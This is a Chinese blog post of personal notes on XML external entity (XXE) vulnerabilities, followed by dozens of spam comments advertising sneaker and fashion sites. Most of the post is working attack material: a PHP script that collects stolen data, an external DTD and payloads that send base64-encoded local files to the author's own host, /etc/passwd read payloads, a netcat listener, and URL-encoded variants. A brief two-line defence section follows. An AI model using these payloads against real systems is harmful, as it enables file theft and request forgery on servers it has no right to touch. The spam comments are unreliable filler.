Walks

网络安全爱好者

浅谈XXE漏洞

《浅谈XXE漏洞》

前言:

遇到个XXE漏洞,查点资料做个笔记。

在叙述之前说下XML,XML被设计用来传输和存储数据,HTML被设计用来显示数据,XML格式必须严格化。


目录:

0x01:漏洞原理

0x02:攻击代码

0x03:如何防御


0x01 漏洞原理

1:XML可控且后端处理时无过滤(满足这个其实就可以了)

2:XML解析是引用外部实体(默认就可以)


0x02 攻击代码

服务器端:

Get_Xxe.php

<?php
//简单的把GET过来的请求追加的保存在本地1.txt文件下
$txt = $_GET['file'];
if($txt)
{
	$file = fopen("1.txt","a+");
	fwrite($file,"$txt"."\r\n");
	print($txt);
	fclose($file);
}
?>

        1.dtd

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://www.bywalks.com/Get_Xxe.php?file=%file;'>"
>
%all;

         XML语句:

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=E:/phpStudy/WWW/1.txt">
<!ENTITY % dtd SYSTEM "http://www.bywalks.com/1.dtd">
%dtd;
%send;
]>

        备用语句:

//有回显
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>

//Blind XXE
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://www.bywalks.com/Get_Xxe.php?file=XXE">
]>
<x>&xxe;</x>

本地NC:nc.exe -lvvp 83

远端访问:<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://IP:83">]><foo>&xxe;</foo>
 
URLEncode:%3c!DOCTYPE+foo+%5b%3c!ENTITY+xxe+SYSTEM+%22http%3a%2f%2fIP%3a83%22%3e%5d%3e%3cfoo%3e%26xxe%3b%3c%2ffoo%3e

PAYLOAD:<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.bywalks.com/Get_Xxe.php?file=cunzai">]><foo>&xxe;</foo>

URLEncode:%3c!DOCTYPE+foo+%5b%3c!ENTITY+xxe+SYSTEM+%22http%3a%2f%2fwww.bywalks.com%2fGet_Xxe.php%3ffile%3ddoudoudou%22%3e%5d%3e%3cfoo%3e%26xxe%3b%3c%2ffoo%3e 

PAYLOAD:<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>

URLEncode:%3c!DOCTYPE+foo+%5b%3c!ENTITY+xxe+SYSTEM+%22file%3a%2f%2f%2fetc%2fpasswd%22%3e%5d%3e%3cfoo%3e%26xxe%3b%3c%2ffoo%3e

file:///etc/passwd
php://filter/read=convert.base64-encode/resource=E:/phpStudy/WWW/1.txt

        

        0x03 如何防御

        1:禁止引用外部实体,但SSRF还可用

        2:过滤<> RNTITY 等(前面已经说过XML是必须严格化,所以过滤这些就无法解析)

点赞
  1. lacoste outlet说道:

    I actually wanted to write a brief remark so as to thank you for all of the magnificent instructions you are posting at this site. My time consuming internet search has finally been paid with high-quality content to exchange with my friends and classmates. I 'd suppose that most of us site visitors actually are very blessed to exist in a remarkable place with many wonderful people with very beneficial ideas. I feel pretty blessed to have seen your entire webpages and look forward to plenty of more amazing minutes reading here. Thanks a lot once more for everything.

  2. nmd说道:

    I would like to express some thanks to you for rescuing me from this particular instance. Right after looking out through the online world and finding strategies which are not helpful, I figured my life was over. Living without the approaches to the problems you've resolved all through your good short article is a crucial case, as well as ones which could have negatively affected my entire career if I hadn't noticed your web page. Your good knowledge and kindness in controlling all the stuff was helpful. I am not sure what I would have done if I had not come across such a stuff like this. I'm able to now relish my future. Thanks a lot so much for this expert and effective help. I will not think twice to refer your web blog to any person who wants and needs guidance about this area.

  3. I simply had to thank you so much once more. I'm not certain the things that I might have sorted out in the absence of those tips and hints revealed by you directly on such a industry. It previously was a very alarming difficulty for me personally, nevertheless spending time with your expert mode you handled it took me to jump for joy. I am just happier for this guidance and then pray you know what a great job you're accomplishing teaching people all through your blog. I'm certain you have never got to know any of us.

  4. air jordan 11说道:

    I simply wanted to jot down a small comment so as to thank you for all of the great techniques you are giving out on this website. My rather long internet search has finally been rewarded with really good facts and strategies to go over with my relatives. I would express that most of us website visitors are unequivocally lucky to dwell in a really good site with many lovely people with useful things. I feel really privileged to have discovered your entire weblog and look forward to some more enjoyable moments reading here. Thank you once again for all the details.

  5. adidas nmd r1说道:

    Thank you for all your work on this web site. My daughter takes pleasure in engaging in investigation and it's really easy to see why. Almost all learn all of the powerful way you deliver rewarding solutions via your web site and as well welcome contribution from some others on that subject then our simple princess has always been studying a lot of things. Take pleasure in the remaining portion of the year. You're carrying out a splendid job.

  6. yeezy boost 350说道:

    My spouse and i got now fortunate when Michael could finish up his survey out of the precious recommendations he grabbed when using the weblog. It's not at all simplistic to just find yourself freely giving tips and tricks which often some other people might have been making money from. We consider we've got the blog owner to be grateful to for this. The explanations you have made, the simple website navigation, the relationships you can assist to create - it's got mostly awesome, and it is making our son in addition to the family understand that idea is pleasurable, and that's quite mandatory. Many thanks for the whole thing!

  7. jordan 13说道:

    Thank you so much for giving everyone an extraordinarily pleasant possiblity to read from here. It can be so pleasant and as well , stuffed with a great time for me and my office co-workers to visit your website at minimum three times in 7 days to learn the latest stuff you will have. Of course, I'm just usually amazed considering the mind-blowing knowledge you serve. Certain 4 areas on this page are unquestionably the very best I've ever had.

  8. off-white说道:

    A lot of thanks for all your valuable labor on this web page. Kate really loves getting into internet research and it's really easy to understand why. Most people notice all about the dynamic method you provide both interesting and useful secrets on this website and increase response from website visitors on that subject matter so my child is now learning a lot of things. Take pleasure in the remaining portion of the new year. You have been performing a fabulous job.

  9. My husband and i have been so excited Raymond could do his research because of the ideas he had through the blog. It is now and again perplexing to just always be making a gift of strategies which often the rest have been trying to sell. And now we consider we have got the writer to be grateful to for that. These illustrations you've made, the simple site navigation, the friendships your site give support to promote - it's got everything excellent, and it is assisting our son in addition to our family reckon that this topic is thrilling, and that is tremendously important. Many thanks for everything!

  10. A lot of thanks for your own effort on this website. My mum enjoys conducting research and it is easy to see why. Many of us notice all about the compelling medium you provide very important guidelines on the web site and even welcome contribution from website visitors about this matter then our own simple princess is starting to learn a lot. Enjoy the rest of the year. You are always carrying out a glorious job.

  11. I really wanted to write a small word to be able to say thanks to you for all of the marvelous strategies you are posting on this website. My time-consuming internet research has at the end been recognized with good quality facts and techniques to exchange with my relatives. I would state that that many of us visitors actually are undoubtedly fortunate to dwell in a fine community with so many awesome people with great techniques. I feel somewhat grateful to have come across your entire site and look forward to really more fabulous moments reading here. Thanks once more for all the details.

  12. red bottoms说道:

    I have to show appreciation to the writer for bailing me out of such a issue. As a result of looking throughout the search engines and getting strategies which were not beneficial, I thought my entire life was gone. Existing without the presence of strategies to the problems you have solved by means of your good website is a crucial case, and ones which might have badly affected my career if I hadn't encountered your web page. Your own know-how and kindness in handling all areas was vital. I'm not sure what I would have done if I hadn't encountered such a stuff like this. I can also at this moment relish my future. Thanks so much for this professional and result oriented guide. I will not be reluctant to endorse the blog to anyone who needs counselling on this problem.

  13. pure boost说道:

    Thank you for your own labor on this website. Debby enjoys participating in investigation and it's really easy to see why. My spouse and i learn all of the compelling method you give very important suggestions on this web blog and as well foster response from other ones on this subject matter then my girl is without a doubt learning so much. Take pleasure in the rest of the new year. You're the one doing a splendid job.

  14. I wish to convey my appreciation for your kindness giving support to women who should have help on this one content. Your special commitment to getting the message across appeared to be definitely helpful and have empowered ladies much like me to attain their targets. Your amazing informative help means much to me and especially to my peers. Best wishes; from each one of us.

  15. golden goose说道:

    I have to express appreciation to you for bailing me out of this type of circumstance. After browsing through the the web and finding thoughts which are not helpful, I thought my entire life was done. Existing without the presence of answers to the problems you have solved all through your entire posting is a critical case, as well as ones which might have negatively damaged my career if I hadn't noticed your web site. Your primary ability and kindness in controlling a lot of things was important. I am not sure what I would have done if I hadn't come upon such a step like this. I'm able to at this time look ahead to my future. Thanks a lot very much for this skilled and effective guide. I won't be reluctant to refer the website to anybody who should receive recommendations on this subject matter.

  16. I enjoy you because of your own effort on this website. My mom take interest in conducting investigation and it's really simple to grasp why. I hear all relating to the compelling ways you give efficient thoughts on the website and therefore recommend response from other ones on the content while our own princess is always becoming educated a lot of things. Enjoy the remaining portion of the new year. You have been performing a remarkable job.

  17. westbrook shoes说道:

    Thank you for all of your labor on this blog. My mom really loves engaging in internet research and it's simple to grasp why. We all learn all regarding the dynamic form you make vital tips on this web site and inspire response from some other people on that theme and our daughter is really studying a lot. Enjoy the rest of the year. You have been conducting a fabulous job.

  18. Thanks so much for giving everyone an extremely breathtaking opportunity to read from this blog. It's always very sweet plus full of fun for me and my office mates to visit the blog at minimum three times in 7 days to see the new guides you will have. And lastly, I'm also always impressed with all the astounding points served by you. Selected 2 ideas in this posting are truly the most efficient we've ever had.

  19. I'm just writing to let you understand what a great encounter our child experienced visiting yuor web blog. She learned lots of details, not to mention what it is like to possess an incredible teaching nature to get many more really easily have an understanding of some advanced subject matter. You truly surpassed people's desires. Thank you for producing those beneficial, healthy, educational and also fun guidance on your topic to Tanya.

  20. hermes belts说道:

    Needed to post you that tiny remark so as to thank you the moment again for the unique suggestions you have documented on this site. It was unbelievably open-handed of people like you giving freely all some people would have supplied as an e-book to generate some money on their own, mostly considering that you might have done it if you ever considered necessary. Those techniques also acted to be the great way to fully grasp many people have the same fervor much like my personal own to find out good deal more around this matter. I'm certain there are thousands of more pleasant sessions up front for many who scan your website.

  21. nmd说道:

    I want to point out my appreciation for your kind-heartedness giving support to men and women that should have help with this particular content. Your special commitment to passing the solution all-around became especially interesting and has specifically allowed folks much like me to achieve their desired goals. Your personal valuable tutorial can mean a whole lot to me and extremely more to my colleagues. Regards; from all of us.

  22. adidas superstar说道:

    My wife and i have been absolutely joyous when Jordan managed to carry out his investigations out of the ideas he had using your web site. It is now and again perplexing to simply choose to be handing out helpful hints which usually men and women may have been trying to sell. We do understand we've got the website owner to appreciate for this. The most important explanations you have made, the straightforward blog menu, the friendships your site help instill - it's got most overwhelming, and it's really leading our son in addition to the family understand this situation is interesting, and that's wonderfully fundamental. Many thanks for all the pieces!

  23. michael kors说道:

    I precisely desired to thank you so much all over again. I'm not certain the things I would have done without these points documented by you regarding this area of interest. It absolutely was a very intimidating matter for me, nevertheless viewing a specialised way you solved the issue made me to jump with contentment. I am grateful for your support and even trust you really know what an amazing job you have been providing educating the others with the aid of your website. Most probably you haven't got to know any of us.

  24. nike sneakers说道:

    I must express my respect for your generosity giving support to all those that require guidance on that matter. Your special commitment to getting the message up and down appeared to be astonishingly effective and has consistently empowered professionals much like me to attain their pursuits. This important help and advice indicates this much a person like me and far more to my peers. Warm regards; from all of us.

  25. I wanted to construct a quick message to be able to thank you for the splendid guides you are sharing at this site. My incredibly long internet lookup has finally been rewarded with excellent facts to go over with my friends and family. I would suppose that most of us readers are really blessed to dwell in a very good website with many outstanding people with insightful techniques. I feel pretty blessed to have seen your site and look forward to so many more excellent times reading here. Thanks once more for a lot of things.

  26. tory burch shoes说道:

    Thank you so much for giving everyone such a spectacular possiblity to discover important secrets from this blog. It is usually so enjoyable plus stuffed with a good time for me personally and my office colleagues to search your blog more than 3 times weekly to learn the latest issues you will have. Of course, I'm so at all times satisfied considering the mind-blowing creative ideas you serve. Certain 3 points in this post are essentially the most suitable I've had.

  27. I have to convey my love for your generosity supporting those individuals that really need help with the area. Your very own commitment to getting the solution all-around ended up being rather significant and has regularly helped girls like me to achieve their ambitions. The interesting instruction entails this much to me and additionally to my office colleagues. Many thanks; from all of us.

  28. yeezy boost说道:

    I intended to post you one tiny remark just to say thanks once again for your pretty pointers you have shown in this case. This has been certainly pretty generous of you to provide publicly precisely what a number of us could possibly have offered for sale for an electronic book to end up making some cash on their own, primarily given that you might well have done it if you ever desired. Those concepts likewise served as a fantastic way to know that the rest have a similar interest much like my personal own to know the truth whole lot more with regard to this matter. Certainly there are lots of more fun instances ahead for folks who start reading your blog post.

  29. I not to mention my buddies have already been reviewing the best tricks found on the blog and then suddenly developed a horrible feeling I had not expressed respect to the web blog owner for those techniques. My guys are actually for this reason happy to read through them and have in effect definitely been enjoying those things. Thanks for really being considerably kind and for opting for such notable subjects millions of individuals are really needing to discover. My sincere regret for not expressing gratitude to you sooner.

  30. Balenciaga说道:

    Yeezyhttp://www.yeezy.com.co/
    Yeezy Shoeshttp://www.yeezys.us.com/
    Yeezyhttp://www.yeezysupply.us.com/
    Yeezy Boost 350http://www.yeezy-shoes.us.com/
    Yeezy Boosthttp://www.yeezy-boost350.com/
    Yeezy Boost 350 V2http://www.yeezyboost350.us.com/
    Yeezy Blue Tinthttp://www.yeezybluetint.com/
    Adidas Yeezy 500http://www.yeezy500utilityblack.com/
    Adidas Yeezy 500http://www.yeezy500utilityblack.us/
    Nike VaporMaxhttp://www.vapor-max.org.uk/
    Salomon UKhttp://www.salomon-shoes.org.uk/
    Salomon Shoeshttp://www.salomons.me.uk/
    Salomon UKhttp://www.salomonspeedcross4.org.uk/
    Off White Jordan 1http://www.offwhitejordan1.com/
    Vapor Maxhttp://www.nikevapormax.org.uk/
    React Element 87http://www.nikereactelement87.us.com/
    Nike React Element 87http://www.nikereactelement87.us/
    Nike Vapormax Plushttp://www.nikeplus.us/
    Nike Outlethttp://www.nike--outlet.us/
    Nike Outlethttp://www.nikeoutletstoreonlineshopping.us/
    Nike Outlet Store Online Shoppinghttp://www.nikeoutletonlineshopping.us/
    NBA Jerseyshttp://www.nikenbajerseys.us/
    Nike Air Maxhttp://www.nikeairmax.us/
    Air Max Nikehttp://www.max2017.us/
    Jordan Shoes 2018http://www.jordan-com.com/
    Jordan 11 Concordhttp://www.jordan11-concord.com/
    Cheap Yeezy Shoeshttp://www.cs7boots1.com/
    Cheap NBA Jerseyshttp://www.cheapnba-jerseys.us/
    Birkenstock Sandals UKhttp://www.birkenstocksandalsuk.me.uk/
    NBA Jerseyshttp://www.basketball-jersey.us/
    Balenciagahttp://www.balenciaga.me.uk/
    Balenciagahttp://www.balenciagauk.org.uk/
    Balenciaga UKhttp://www.balenciagatriples.org.uk/
    Balenciaga UKhttp://www.birkenstocks.me.uk/
    Balenciaga UKhttp://www.balenciagatrainers.org.uk/
    Nike Air Max 270http://www.airmax270.org.uk/
    Yeezy Shoeshttp://www.adidasyeezyshoes.org.uk/
    Yeezy Shoeshttp://www.adidasyeezyshoes.org.uk/

  31. kyrie 3说道:

    I have to express appreciation to you just for rescuing me from this setting. Because of researching throughout the the net and coming across thoughts which are not productive, I assumed my entire life was well over. Existing without the answers to the issues you've fixed by means of your entire short post is a critical case, as well as the ones which could have in a wrong way affected my entire career if I had not encountered the blog. Your own talents and kindness in taking care of every aspect was invaluable. I don't know what I would have done if I hadn't encountered such a subject like this. I'm able to at this moment look forward to my future. Thank you so much for your high quality and result oriented help. I will not be reluctant to endorse your web sites to any individual who would need guide on this topic.

  32. lebron 11说道:

    Thanks so much for providing individuals with such a spectacular possiblity to discover important secrets from this web site. It is usually so good plus packed with a lot of fun for me and my office acquaintances to visit your web site at a minimum thrice every week to read the newest guidance you will have. And definitely, I am also actually motivated with all the striking pointers you give. Some 4 points on this page are undoubtedly the most efficient we have ever had.

  33. kd 10说道:

    I would like to voice my passion for your kindness supporting folks who really need guidance on this particular area. Your real commitment to getting the message all through turned out to be especially good and has surely empowered guys like me to attain their objectives. Your new valuable advice means much to me and substantially more to my office colleagues. Best wishes; from all of us.

  34. I needed to write you a bit of note just to thank you the moment again for these striking opinions you have discussed above. It was really tremendously open-handed with you to allow easily exactly what most of us could possibly have sold as an e-book to help with making some dough for their own end, specifically considering the fact that you might have done it in the event you desired. Those pointers in addition served to become easy way to fully grasp most people have the identical interest just as my very own to understand much more around this problem. Certainly there are millions of more enjoyable instances up front for people who scan through your website.

  35. Needed to draft you this little bit of remark to be able to say thanks a lot again for all the exceptional advice you have documented on this website. It has been seriously generous with you in giving easily what exactly a lot of folks could have offered for sale as an electronic book to get some cash on their own, most notably considering the fact that you might have done it in case you desired. The concepts in addition acted to become a great way to know that many people have the same fervor just like my very own to learn somewhat more with regard to this condition. I'm sure there are millions of more fun occasions up front for those who looked at your site.

  36. Thanks a lot for giving everyone an extremely terrific chance to read from this site. It really is so lovely and full of a great time for me and my office friends to visit your site not less than three times weekly to read the latest secrets you have got. And lastly, I'm also certainly amazed for the stunning creative ideas served by you. Selected 1 facts in this article are undeniably the most efficient I've had.

  37. Yeezy Shoeshttp://www.yeezy.com.co/
    Yeezyshttp://www.yeezys.us.com/
    Yeezy Supplyhttp://www.yeezysupply.us.com/
    Yeezy Sneakershttp://www.yeezy-shoes.us.com/
    Yeezy Boost 350http://www.yeezy-boost350.com/
    Yeezy Boost 350http://www.yeezyboost350.us.com/
    Yeezy Boost 350 V2 Blue Tinthttp://www.yeezybluetint.com/
    Adidas Yeezy 500http://www.yeezy500utilityblack.com/
    Adidas Yeezy 500http://www.yeezy500utilityblack.us/
    Vapor Maxhttp://www.vapor-max.org.uk/
    Salomon UKhttp://www.salomon-shoes.org.uk/
    Salomon Shoeshttp://www.salomons.me.uk/
    Salomon Shoeshttp://www.salomonspeedcross4.org.uk/
    Off White Jordanhttp://www.offwhitejordan1.com/
    Vapor Maxhttp://www.nikevapormax.org.uk/
    Nike Element 87http://www.nikereactelement87.us.com/
    Nike Element 87http://www.nikereactelement87.us/
    Nike Air Vapormax Plushttp://www.nikeplus.us/
    Nike Outlethttp://www.nike--outlet.us/
    Nike Outlet Storehttp://www.nikeoutletstoreonlineshopping.us/
    Nike Outlethttp://www.nikeoutletonlineshopping.us/
    Nike NBA Jerseyshttp://www.nikenbajerseys.us/
    Air Max Nikehttp://www.nikeairmax.us/
    Air Max 2017http://www.max2017.us/
    Jordan Shoeshttp://www.jordan-com.com/
    Jordan 11 Concord 2018http://www.jordan11-concord.com/
    Cheap Yeezy Boosthttp://www.cs7boots1.com/
    Cheap NBA Jerseys From Chinahttp://www.cheapnba-jerseys.us/
    Birkenstock UKhttp://www.birkenstocksandalsuk.me.uk/
    Basketball Jerseyhttp://www.basketball-jersey.us/
    Balenciaga UKhttp://www.balenciaga.me.uk/
    Balenciaga UKhttp://www.balenciagauk.org.uk/
    Balenciagahttp://www.balenciagatriples.org.uk/
    Balenciagahttp://www.birkenstocks.me.uk/
    Balenciaga Trainershttp://www.balenciagatrainers.org.uk/
    Nike Air Maxhttp://www.airmax270.org.uk/
    Yeezyhttp://www.adidasyeezyshoes.org.uk/
    Adidas Yeezyhttp://www.adidasyeezyshoes.org.uk/

  38. yeezy boost说道:

    A lot of thanks for your own labor on this blog. My niece really loves going through internet research and it is easy to understand why. My partner and i learn all regarding the dynamic manner you present priceless guidelines via the web site and even invigorate response from others about this point then our own princess is understanding so much. Enjoy the remaining portion of the year. You have been performing a remarkable job.

  39. adidas zx flux说道:

    I not to mention my guys appeared to be studying the best recommendations from your site while unexpectedly got a horrible feeling I had not thanked you for those strategies. All the young boys came totally stimulated to read them and have now really been tapping into these things. Thanks for genuinely simply accommodating as well as for settling on varieties of remarkable resources millions of individuals are really desperate to learn about. My personal honest regret for not saying thanks to earlier.

  40. yeezy boost 350说道:

    My husband and i were really excited Emmanuel managed to finish up his investigations from the ideas he obtained out of your site. It is now and again perplexing to just continually be releasing techniques that many people today could have been trying to sell. Therefore we already know we need the website owner to be grateful to because of that. Most of the illustrations you have made, the straightforward blog navigation, the friendships you help promote - it's mostly excellent, and it's leading our son and the family reckon that the subject is enjoyable, which is certainly exceptionally indispensable. Many thanks for all!

  41. I needed to create you a very little remark in order to say thanks yet again for all the lovely secrets you've shared on this page. It's quite remarkably open-handed with people like you to supply unhampered what exactly many people could have made available for an e-book in order to make some profit for their own end, particularly considering that you might well have tried it if you decided. These inspiring ideas in addition worked to provide a good way to fully grasp other people online have the identical keenness just like my personal own to grasp many more when considering this problem. I am sure there are many more pleasant opportunities in the future for those who read carefully your website.

  42. yeezy boost 350说道:

    I intended to put you a little bit of observation to be able to thank you so much as before over the amazing principles you've shown in this case. It is simply wonderfully generous of you to make easily all a few individuals might have made available for an ebook in making some cash for their own end, most notably now that you might have tried it in the event you desired. The solutions in addition served to become a fantastic way to comprehend the rest have similar interest just as mine to learn a little more around this issue. I think there are thousands of more pleasurable opportunities ahead for many who read through your site.

发表评论

电子邮件地址不会被公开。 必填项已用*标注